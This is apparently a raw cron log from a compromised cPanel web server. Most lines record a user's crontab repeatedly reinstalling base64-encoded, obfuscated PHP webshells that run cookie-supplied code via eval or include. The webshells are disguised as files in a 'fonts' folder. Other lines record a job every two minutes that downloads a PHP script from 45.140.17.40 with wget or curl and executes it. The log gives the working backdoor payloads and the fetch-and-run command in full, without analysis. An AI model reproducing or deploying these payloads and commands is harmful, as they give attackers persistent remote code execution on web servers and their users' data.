Sep 10 11:00:01 ip-184-168-122-23 CROND[24607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:00:01 ip-184-168-122-23 CROND[24613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:01:01 ip-184-168-122-23 CROND[24767]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 11:01:01 ip-184-168-122-23 CROND[24768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:01:01 ip-184-168-122-23 CROND[24771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:01:01 ip-184-168-122-23 CROND[24772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:01:01 ip-184-168-122-23 CROND[24776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24767]: starting 0anacron
Sep 10 11:01:01 ip-184-168-122-23 CROND[24774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24786]: finished 0anacron
Sep 10 11:02:01 ip-184-168-122-23 CROND[24901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:02:01 ip-184-168-122-23 CROND[24905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:02:01 ip-184-168-122-23 CROND[24903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:02:02 ip-184-168-122-23 CROND[24906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:02:02 ip-184-168-122-23 CROND[24904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:03:01 ip-184-168-122-23 CROND[25117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:03:01 ip-184-168-122-23 CROND[25118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:03:01 ip-184-168-122-23 CROND[25121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:03:01 ip-184-168-122-23 CROND[25119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:04:01 ip-184-168-122-23 CROND[25226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:04:01 ip-184-168-122-23 CROND[25228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:04:01 ip-184-168-122-23 CROND[25229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:04:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:04:01 ip-184-168-122-23 CROND[25230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25346]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:05:01 ip-184-168-122-23 CROND[25349]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:05:01 ip-184-168-122-23 CROND[25353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:06:01 ip-184-168-122-23 CROND[25496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:06:01 ip-184-168-122-23 CROND[25495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:06:01 ip-184-168-122-23 CROND[25499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:06:01 ip-184-168-122-23 CROND[25500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:06:01 ip-184-168-122-23 CROND[25501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:07:01 ip-184-168-122-23 CROND[25605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:07:01 ip-184-168-122-23 CROND[25607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:07:01 ip-184-168-122-23 CROND[25608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:07:01 ip-184-168-122-23 CROND[25609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:08:01 ip-184-168-122-23 CROND[25791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:08:01 ip-184-168-122-23 CROND[25795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:08:01 ip-184-168-122-23 CROND[25797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:08:01 ip-184-168-122-23 CROND[25799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:08:01 ip-184-168-122-23 CROND[25798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:09:01 ip-184-168-122-23 CROND[25899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:09:01 ip-184-168-122-23 CROND[25900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:09:01 ip-184-168-122-23 CROND[25903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:09:01 ip-184-168-122-23 CROND[25905]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 11:09:01 ip-184-168-122-23 CROND[25904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26033]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:10:01 ip-184-168-122-23 CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:10:01 ip-184-168-122-23 CROND[26045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:10:01 ip-184-168-122-23 CROND[26041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:11:01 ip-184-168-122-23 CROND[26201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:11:01 ip-184-168-122-23 CROND[26203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:11:01 ip-184-168-122-23 CROND[26204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:11:01 ip-184-168-122-23 CROND[26205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:12:01 ip-184-168-122-23 CROND[26308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:12:01 ip-184-168-122-23 CROND[26310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
